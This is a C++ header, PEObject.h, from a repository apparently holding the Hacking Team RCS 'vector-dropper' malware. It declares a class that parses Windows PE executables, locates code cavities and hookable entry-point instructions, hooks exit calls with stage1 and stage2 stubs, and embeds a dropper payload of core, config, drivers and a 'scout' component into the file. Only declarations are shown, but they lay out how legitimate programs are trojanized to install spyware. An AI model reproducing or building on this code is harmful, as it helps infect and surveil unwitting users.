hackedteam/vector-dropper

View on GitHub
RCSDropper/PEObject.h

Summary

Maintainability
Test Coverage
#ifndef _PEOBJECT_H
#define _PEOBJECT_H

#include <vector>
#include <iostream>
#include <fstream>
#include <map>
#include <ostream>
#include <string>
using namespace std;

#include <boost/scoped_ptr.hpp>
#include <boost/filesystem.hpp>
#include <boost/function.hpp>
namespace bf = boost::filesystem;

#include "common.h"
#include "tree.hpp"
#include "GenericSection.h"
#include "IATEntry.h"
#include "../libs/BeaEngine/BeaEngine.h"

#define STAGE1_STUB_SIZE 5    // call near, 32bit address
#define PE_MAX_DATA_SECTIONS 64

#define endian_swap4byte(x)            \
    x = ((x & 0x000000FF) << 24) |  \
        ((x & 0x0000FF00) << 8)  |  \
        ((x & 0x00FF0000) >> 8)  |  \
        ((x & 0xFF000000) >> 24)

typedef struct _PE_DOS_HEADER
{
    IMAGE_DOS_HEADER* header;
    std::size_t          stub_size;
    char*              stub;
} PEDOSHEADER;

typedef struct _PE_SECTION
{
    IMAGE_SECTION_HEADER* header;
    char*                 data;
} PESECTION;

typedef struct RESOURCE_DIRECTORY {
    IMAGE_RESOURCE_DIRECTORY Header;
    IMAGE_RESOURCE_DIRECTORY_ENTRY Entries[1];
} *PRESOURCE_DIRECTORY;

class GenericSection;
class DropperObject;
class ResourceSection;
class ResourceDirectory;

class parsing_error : public std::exception
{
public:
    parsing_error(const std::string& msg) : std::exception(msg.c_str()) {}
};

typedef struct _cavity_t {
    char* ptr;
    DWORD va;
    std::size_t size;
} Cavity;

class PEObject
{
private:    
    //std::fstream _sourceFile;
    //std::fstream _destinationFile;
    
    char* _rawData;
    std::size_t  _fileSize;
    
    PEDOSHEADER          _dosHeader;
    IMAGE_NT_HEADERS  *_ntHeader;
    
    std::vector<GenericSection *> _sections;
    GenericSection *_eofData;
    
    std::size_t _sectionHeadersPaddingSize;
    char* _sectionHeadersPadding;
    
    std::size_t _boundImportTableSize;
    PBYTE _boundImportTable;
    
    DWORD   _oep; // AddressOfEntryPoint
    
    struct {
        int ExitProcess;
        int exit;
        int _exit;
    } functionIndex;
    
    std::vector< Cavity > _cavities;

    std::map< std::string, std::map<std::string, DWORD> > _calls;
    IATEntries _iat;
    
    struct {
        struct {
            char* ptr;
            DWORD va;
            DWORD size;
        } stage1;
        struct {
            char* ptr;
            DWORD va;
            DWORD size;
        } stage2;
    } _hookPointer;


    
    // TODO this should be removed in favor of the above map
    DWORD _pLoadLibrary;
    DWORD _pGetProcAddress;
    
    bool _parseDOSHeader();
    bool _parseNTHeader();
    bool _parseIAT();
    bool _parseResources();
    
    void _findHookableInstruction();
    bool _parseText();
    
    struct {
        ResourceDirectory* dir;
        std::size_t size;
    } _resources;
    
    ResourceDirectory* _scanResources(char const * const data);
    ResourceDirectory* _scanResources(PRESOURCE_DIRECTORY rdRoot, PRESOURCE_DIRECTORY rdToScan, DWORD level);
    
    bool _updateResource(WCHAR* type, WCHAR* name, LANGID lang, PBYTE data, DWORD size);
    bool _updateResource(WORD type, WCHAR* name, LANGID lang, PBYTE data, DWORD size) 
    {
        return _updateResource(MAKEINTRESOURCEW(type), name, lang, data, size);
    }
    bool _updateResource(WCHAR* type, WORD name, LANGID lang, BYTE* data, DWORD size)
    {
        return _updateResource(type, MAKEINTRESOURCEW(name), lang, data, size);
    }
    bool _updateResource(WORD type, WORD name, LANGID lang, BYTE* data, DWORD size)
    {
        return _updateResource(MAKEINTRESOURCEW(type), MAKEINTRESOURCEW(name), lang, data, size);
    }

    DWORD _sizeOfResources();

    void _setResourceOffsets(ResourceDirectory* resDir, DWORD newResDirAt);
    
    bool _fixManifest();
    std::size_t _writeResources( char* data, DWORD virtualAddress );
    
    void _disassembleCode(unsigned char *start, unsigned char *end, int VA);
    
public:
    PEObject(char* data, std::size_t size);
    virtual ~PEObject(void);
    
    unsigned char * atOffset(DWORD offset) 
    {
        if (offset > _fileSize)
            return NULL;
        return (unsigned char *)( ((DWORD)this->_rawData) + offset); 
    }
    
    unsigned char * atRVA(DWORD rva)
    {
        DWORD offset = this->offset(rva);
        if (offset == 0)
            return NULL;
        return rva == 0 ? NULL : (unsigned char *)atOffset(offset);
    }
    
    DWORD offset(DWORD _rva);
    
    std::size_t resourceSize() { return _resources.size; }
    
    DWORD imageBase() { return _ntHeader->OptionalHeader.ImageBase; }
    DWORD fileAlignment() { return _ntHeader->OptionalHeader.FileAlignment; }
    DWORD sectionAlignment() { return _ntHeader->OptionalHeader.SectionAlignment; }
    
    PEDOSHEADER dosHeader() { return _dosHeader; }
    PIMAGE_NT_HEADERS ntHeaders() { return _ntHeader; }
    PIMAGE_DATA_DIRECTORY dataDirectory(DWORD entry) { return &_ntHeader->OptionalHeader.DataDirectory[entry]; }
    
    bool parse();
    bool saveToFile( std::string filename );
    
    DWORD epRVA() { return _ntHeader->OptionalHeader.AddressOfEntryPoint; }
    DWORD epVA() { return _ntHeader->OptionalHeader.ImageBase + _ntHeader->OptionalHeader.AddressOfEntryPoint; }
    void writeData(DWORD rva, char * data, size_t size);
    
    unsigned char* GetOEPCode();
    
    bool hasResources() { return _ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress == 0 ? false : true; }
    
    GenericSection* getSection( DWORD directoryEntryID );
    GenericSection* findSection( DWORD rva );
    
    void setSection( DWORD directoryEntryID, GenericSection* section );
    void setSection( DWORD directoryEntryID, DWORD VirtualAddress, DWORD VirtualSize );
    
    bool isAuthenticodeSigned();
    
    bool embedDropper( bf::path core, bf::path core64, bf::path config, bf::path codec, bf::path driver, bf::path driver64, std::string installDir, bool fixManifest, std::string fPrefix, bf::path demoBitmap, BOOL isScout, bf::path scout);
    
    typedef struct {
        DISASM d;
        std::size_t len;
    } disassembled_instruction;
    std::vector<disassembled_instruction> instructions_;
    disassembled_instruction hookedInstruction_;
    
    IATEntry const & getIATEntry( std::string const dll, std::string const call );
    IATEntry const & getIATEntry( DWORD const rva );

    ULONG exeType;
};

#endif /* _PEOBJECT_H */